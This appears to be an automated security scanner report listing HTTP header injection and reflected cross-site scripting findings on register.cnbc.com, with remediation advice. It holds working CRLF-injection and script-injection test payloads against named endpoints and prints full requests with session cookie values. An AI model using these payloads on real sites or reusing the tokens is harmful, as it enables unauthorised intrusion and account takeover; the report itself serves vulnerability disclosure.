HTTP header injection vulnerabilities arise when user-supplied data is copied into a response header in an unsafe way. If an attacker can inject newline characters into the header, then they can inject new HTTP headers and also, by injecting an empty line, break out of the headers into the message body and write arbitrary content into the application's response.
Various kinds of attack can be delivered via HTTP header injection vulnerabilities. Any attack that can be delivered via cross-site scripting can usually be delivered via header injection, because the attacker can construct a request which causes arbitrary JavaScript to appear within the response body. Further, it is sometimes possible to leverage header injection vulnerabilities to poison the cache of any proxy server via which users access the application. Here, an attacker sends a crafted request which results in a "split" response containing arbitrary content. If the proxy server can be manipulated to associate the injected response with another URL used within the application, then the attacker can perform a "stored" attack against this URL which will compromise other users who request that URL in future.
Issue remediation
If possible, applications should avoid copying user-controllable data into HTTP response headers. If this is unavoidable, then the data should be strictly validated to prevent header injection attacks. In most situations, it will be appropriate to allow only short alphanumeric strings to be copied into headers, and any other input should be rejected. At a minimum, input containing any characters with ASCII codes less than 0x20 should be rejected.
1.1. https://register.cnbc.com/memberCenter.do [name of an arbitrarily supplied request parameter]next
Summary
Severity:
High
Confidence:
Certain
Host:
https://register.cnbc.com
Path:
/memberCenter.do
Issue detail
The name of an arbitrarily supplied request parameter is copied into the Location response header. The payload e14b6%0d%0a5870519e1f3 was submitted in the name of an arbitrarily supplied request parameter. This caused a response containing an injected HTTP header.
Request
GET /memberCenter.do?e14b6%0d%0a5870519e1f3=1 HTTP/1.1 Host: register.cnbc.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: c_enc=g0gL3psSgYxqAAMwCf69qoF3AnP2umz1anXrD6CCmSE=; SUBSCRIBERINFO2=f253efe302d32ab264a76e0ce65be769; SUBSCRIBERINFO=T; SUBSCRIBERINFO3=unkz; JSESSIONID=DFFCBD8CE50C00070416D84A6F082D9F; cnbcStreamQuoteMasterToggleRememberSwitch=on; cnbc_most_recent_quotes=GGG; s_sq=%5B%5BB%5D%5D; pers_cookie_insert_cnbc.com_Prod_registration_servers_80=1153552960.20480.0000; s_cc=true; TZM=-360; s_nr=1292256340898; pers_cookie_insert_cnbc.com_Prod_registration_servers_443=1640092224.23040.0000; CASTOKEN=test@fastdial.net; __qca=P0-1082571395-1289590021769; c_ws=63BC98C24585925AC8230275717AAD6C; c_sna=false;
1.2. https://register.cnbc.com/membercenter/changeemailform.do [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
https://register.cnbc.com
Path:
/membercenter/changeemailform.do
Issue detail
The name of an arbitrarily supplied request parameter is copied into the Location response header. The payload cb452%0d%0a7902bc56584 was submitted in the name of an arbitrarily supplied request parameter. This caused a response containing an injected HTTP header.
Request
GET /membercenter/changeemailform.do?cb452%0d%0a7902bc56584=1 HTTP/1.1 Host: register.cnbc.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: c_enc=g0gL3psSgYxqAAMwCf69qoF3AnP2umz1anXrD6CCmSE=; SUBSCRIBERINFO2=f253efe302d32ab264a76e0ce65be769; SUBSCRIBERINFO=T; SUBSCRIBERINFO3=unkz; JSESSIONID=DFFCBD8CE50C00070416D84A6F082D9F; cnbcStreamQuoteMasterToggleRememberSwitch=on; cnbc_most_recent_quotes=GGG; s_sq=%5B%5BB%5D%5D; pers_cookie_insert_cnbc.com_Prod_registration_servers_80=1153552960.20480.0000; s_cc=true; TZM=-360; s_nr=1292256340898; pers_cookie_insert_cnbc.com_Prod_registration_servers_443=1640092224.23040.0000; CASTOKEN=test@fastdial.net; __qca=P0-1082571395-1289590021769; c_ws=63BC98C24585925AC8230275717AAD6C; c_sna=false;
1.3. https://register.cnbc.com/membercenter/notificationmanager.do [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
https://register.cnbc.com
Path:
/membercenter/notificationmanager.do
Issue detail
The name of an arbitrarily supplied request parameter is copied into the Location response header. The payload 41360%0d%0ae1a6d0c0c4 was submitted in the name of an arbitrarily supplied request parameter. This caused a response containing an injected HTTP header.
Request
GET /membercenter/notificationmanager.do?reg=true&user=test@fastdial.net&login-code=TDRUEYXEDY%7c1292256334432&key=9TZbL%252FC9RXYDvs1LU3Kn07m2SjOUfiAc1%252BIjscF0d8NOvCKIiJK2zkhk6%252Bh%252B8Up7&email=test%2540fastdial.net&source=register&41360%0d%0ae1a6d0c0c4=1 HTTP/1.1 Host: register.cnbc.com Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __qca=P0-1082571395-1289590021769; TZM=-360; cnbcStreamQuoteMasterToggleRememberSwitch=on; cnbc_most_recent_quotes=GGG; JSESSIONID=DFFCBD8CE50C00070416D84A6F082D9F; s_cc=true; s_nr=1292256318415; s_sq=%5B%5BB%5D%5D; pers_cookie_insert_cnbc.com_Prod_registration_servers_443=1640092224.23040.0000; pers_cookie_insert_cnbc.com_Prod_registration_servers_80=1153552960.20480.0000
The value of the source request parameter is copied into the Location response header. The payload 52edc%0d%0a2c74bab4433 was submitted in the source parameter. This caused a response containing an injected HTTP header.
Request
GET /membercenter/notificationmanager.do?reg=true&user=test@fastdial.net&login-code=TDRUEYXEDY%7c1292256334432&key=9TZbL%252FC9RXYDvs1LU3Kn07m2SjOUfiAc1%252BIjscF0d8NOvCKIiJK2zkhk6%252Bh%252B8Up7&email=test%2540fastdial.net&source=52edc%0d%0a2c74bab4433 HTTP/1.1 Host: register.cnbc.com Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __qca=P0-1082571395-1289590021769; TZM=-360; cnbcStreamQuoteMasterToggleRememberSwitch=on; cnbc_most_recent_quotes=GGG; JSESSIONID=DFFCBD8CE50C00070416D84A6F082D9F; s_cc=true; s_nr=1292256318415; s_sq=%5B%5BB%5D%5D; pers_cookie_insert_cnbc.com_Prod_registration_servers_443=1640092224.23040.0000; pers_cookie_insert_cnbc.com_Prod_registration_servers_80=1153552960.20480.0000
1.5. https://register.cnbc.com/membercenter/plusmanager.do [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
https://register.cnbc.com
Path:
/membercenter/plusmanager.do
Issue detail
The name of an arbitrarily supplied request parameter is copied into the Location response header. The payload be564%0d%0ac2d12dac59c was submitted in the name of an arbitrarily supplied request parameter. This caused a response containing an injected HTTP header.
Request
GET /membercenter/plusmanager.do?be564%0d%0ac2d12dac59c=1 HTTP/1.1 Host: register.cnbc.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: c_enc=g0gL3psSgYxqAAMwCf69qoF3AnP2umz1anXrD6CCmSE=; SUBSCRIBERINFO2=f253efe302d32ab264a76e0ce65be769; SUBSCRIBERINFO=T; SUBSCRIBERINFO3=unkz; JSESSIONID=DFFCBD8CE50C00070416D84A6F082D9F; cnbcStreamQuoteMasterToggleRememberSwitch=on; cnbc_most_recent_quotes=GGG; s_sq=%5B%5BB%5D%5D; pers_cookie_insert_cnbc.com_Prod_registration_servers_80=1153552960.20480.0000; s_cc=true; TZM=-360; s_nr=1292256340898; pers_cookie_insert_cnbc.com_Prod_registration_servers_443=1640092224.23040.0000; CASTOKEN=test@fastdial.net; __qca=P0-1082571395-1289590021769; c_ws=63BC98C24585925AC8230275717AAD6C; c_sna=false;
1.6. https://register.cnbc.com/membercenter/profilemanager.do [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
https://register.cnbc.com
Path:
/membercenter/profilemanager.do
Issue detail
The name of an arbitrarily supplied request parameter is copied into the Location response header. The payload bd2e5%0d%0aead13715ece was submitted in the name of an arbitrarily supplied request parameter. This caused a response containing an injected HTTP header.
Request
GET /membercenter/profilemanager.do?bd2e5%0d%0aead13715ece=1 HTTP/1.1 Host: register.cnbc.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: c_enc=g0gL3psSgYxqAAMwCf69qoF3AnP2umz1anXrD6CCmSE=; SUBSCRIBERINFO2=f253efe302d32ab264a76e0ce65be769; SUBSCRIBERINFO=T; SUBSCRIBERINFO3=unkz; JSESSIONID=DFFCBD8CE50C00070416D84A6F082D9F; cnbcStreamQuoteMasterToggleRememberSwitch=on; cnbc_most_recent_quotes=GGG; s_sq=%5B%5BB%5D%5D; pers_cookie_insert_cnbc.com_Prod_registration_servers_80=1153552960.20480.0000; s_cc=true; TZM=-360; s_nr=1292256340898; pers_cookie_insert_cnbc.com_Prod_registration_servers_443=1640092224.23040.0000; CASTOKEN=test@fastdial.net; __qca=P0-1082571395-1289590021769; c_ws=63BC98C24585925AC8230275717AAD6C; c_sna=false;
1.7. https://register.cnbc.com/membercenter/updatePassword.do [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
https://register.cnbc.com
Path:
/membercenter/updatePassword.do
Issue detail
The name of an arbitrarily supplied request parameter is copied into the Location response header. The payload da76f%0d%0a3e0eac7d0cc was submitted in the name of an arbitrarily supplied request parameter. This caused a response containing an injected HTTP header.
Request
GET /membercenter/updatePassword.do?da76f%0d%0a3e0eac7d0cc=1 HTTP/1.1 Host: register.cnbc.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: c_enc=g0gL3psSgYxqAAMwCf69qoF3AnP2umz1anXrD6CCmSE=; SUBSCRIBERINFO2=f253efe302d32ab264a76e0ce65be769; SUBSCRIBERINFO=T; SUBSCRIBERINFO3=unkz; JSESSIONID=DFFCBD8CE50C00070416D84A6F082D9F; cnbcStreamQuoteMasterToggleRememberSwitch=on; cnbc_most_recent_quotes=GGG; s_sq=%5B%5BB%5D%5D; pers_cookie_insert_cnbc.com_Prod_registration_servers_80=1153552960.20480.0000; s_cc=true; TZM=-360; s_nr=1292256340898; pers_cookie_insert_cnbc.com_Prod_registration_servers_443=1640092224.23040.0000; CASTOKEN=test@fastdial.net; __qca=P0-1082571395-1289590021769; c_ws=63BC98C24585925AC8230275717AAD6C; c_sna=false;
1.8. https://register.cnbc.com/membercenter/viewalert.do [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
https://register.cnbc.com
Path:
/membercenter/viewalert.do
Issue detail
The name of an arbitrarily supplied request parameter is copied into the Location response header. The payload 1a9d7%0d%0ad5bf14bfe8 was submitted in the name of an arbitrarily supplied request parameter. This caused a response containing an injected HTTP header.
Request
GET /membercenter/viewalert.do?1a9d7%0d%0ad5bf14bfe8=1 HTTP/1.1 Host: register.cnbc.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: c_enc=g0gL3psSgYxqAAMwCf69qoF3AnP2umz1anXrD6CCmSE=; SUBSCRIBERINFO2=f253efe302d32ab264a76e0ce65be769; SUBSCRIBERINFO=T; SUBSCRIBERINFO3=unkz; JSESSIONID=DFFCBD8CE50C00070416D84A6F082D9F; cnbcStreamQuoteMasterToggleRememberSwitch=on; cnbc_most_recent_quotes=GGG; s_sq=%5B%5BB%5D%5D; pers_cookie_insert_cnbc.com_Prod_registration_servers_80=1153552960.20480.0000; s_cc=true; TZM=-360; s_nr=1292256340898; pers_cookie_insert_cnbc.com_Prod_registration_servers_443=1640092224.23040.0000; CASTOKEN=test@fastdial.net; __qca=P0-1082571395-1289590021769; c_ws=63BC98C24585925AC8230275717AAD6C; c_sna=false;
1.9. https://register.cnbc.com/refreshlogin.jsp [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
https://register.cnbc.com
Path:
/refreshlogin.jsp
Issue detail
The name of an arbitrarily supplied request parameter is copied into the Location response header. The payload bec61%0d%0a7f6e6a8224f was submitted in the name of an arbitrarily supplied request parameter. This caused a response containing an injected HTTP header.
Request
GET /refreshlogin.jsp?bec61%0d%0a7f6e6a8224f=1 HTTP/1.1 Host: register.cnbc.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: c_enc=g0gL3psSgYxqAAMwCf69qoF3AnP2umz1anXrD6CCmSE=; SUBSCRIBERINFO2=f253efe302d32ab264a76e0ce65be769; SUBSCRIBERINFO=T; SUBSCRIBERINFO3=unkz; JSESSIONID=DFFCBD8CE50C00070416D84A6F082D9F; cnbcStreamQuoteMasterToggleRememberSwitch=on; cnbc_most_recent_quotes=GGG; s_sq=%5B%5BB%5D%5D; pers_cookie_insert_cnbc.com_Prod_registration_servers_80=1153552960.20480.0000; s_cc=true; TZM=-360; s_nr=1292256340898; pers_cookie_insert_cnbc.com_Prod_registration_servers_443=1640092224.23040.0000; CASTOKEN=test@fastdial.net; __qca=P0-1082571395-1289590021769; c_ws=63BC98C24585925AC8230275717AAD6C; c_sna=false;
1.10. https://register.cnbc.com/registerUser.do [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
https://register.cnbc.com
Path:
/registerUser.do
Issue detail
The name of an arbitrarily supplied request parameter is copied into the Location response header. The payload 64258%0d%0af4274fdbb6a was submitted in the name of an arbitrarily supplied request parameter. This caused a response containing an injected HTTP header.
Request
GET /registerUser.do?64258%0d%0af4274fdbb6a=1 HTTP/1.1 Host: register.cnbc.com Connection: keep-alive Referer: http://search.cnbc.com/main.do?keywords=%27&sort=date&minimumrelevance=0.2&pubtime=0&pubfreq=h&categories=exclude Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __qca=P0-1082571395-1289590021769; TZM=-360; cnbcStreamQuoteMasterToggleRememberSwitch=on; cnbc_most_recent_quotes=GGG; s_cc=true; s_nr=1292256157358; s_sq=nbcuglobal%2C%20nbcucnbcd%2C%20nbcucnbcbu%3D%2526pid%253DSearch%25257CAll%25257CAllT%2526pidt%253D1%2526oid%253Dhttps%25253A//register.cnbc.com/registerUser.do%2526ot%253DA
1.11. https://register.cnbc.com/updatenloptins.do [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
https://register.cnbc.com
Path:
/updatenloptins.do
Issue detail
The name of an arbitrarily supplied request parameter is copied into the Location response header. The payload 25cf4%0d%0a8fb055c4048 was submitted in the name of an arbitrarily supplied request parameter. This caused a response containing an injected HTTP header.
Request
GET /updatenloptins.do?25cf4%0d%0a8fb055c4048=1 HTTP/1.1 Host: register.cnbc.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: c_enc=g0gL3psSgYxqAAMwCf69qoF3AnP2umz1anXrD6CCmSE=; SUBSCRIBERINFO2=f253efe302d32ab264a76e0ce65be769; SUBSCRIBERINFO=T; SUBSCRIBERINFO3=unkz; JSESSIONID=DFFCBD8CE50C00070416D84A6F082D9F; cnbcStreamQuoteMasterToggleRememberSwitch=on; cnbc_most_recent_quotes=GGG; s_sq=%5B%5BB%5D%5D; pers_cookie_insert_cnbc.com_Prod_registration_servers_80=1153552960.20480.0000; s_cc=true; TZM=-360; s_nr=1292256340898; pers_cookie_insert_cnbc.com_Prod_registration_servers_443=1640092224.23040.0000; CASTOKEN=test@fastdial.net; __qca=P0-1082571395-1289590021769; c_ws=63BC98C24585925AC8230275717AAD6C; c_sna=false;
Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the source_role request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 10d0a'%3balert(1)//780d7b7e6ff9fcaf8 was submitted in the source_role parameter. This input was echoed as 10d0a';alert(1)//780d7b7e6ff9fcaf8 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Ty ...[SNIP]... <script> var role = 'null10d0a';alert(1)//780d7b7e6ff9fcaf8'; var source = 'default'; var namesRequired = ""; var countryRequired = ""; var securityRequired = ""; var addressRequired = ""; var phoneRequired = ""; var birthyear ...[SNIP]...
The value of the source_role request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d5a44"><script>alert(1)</script>164f6446570896339 was submitted in the source_role parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.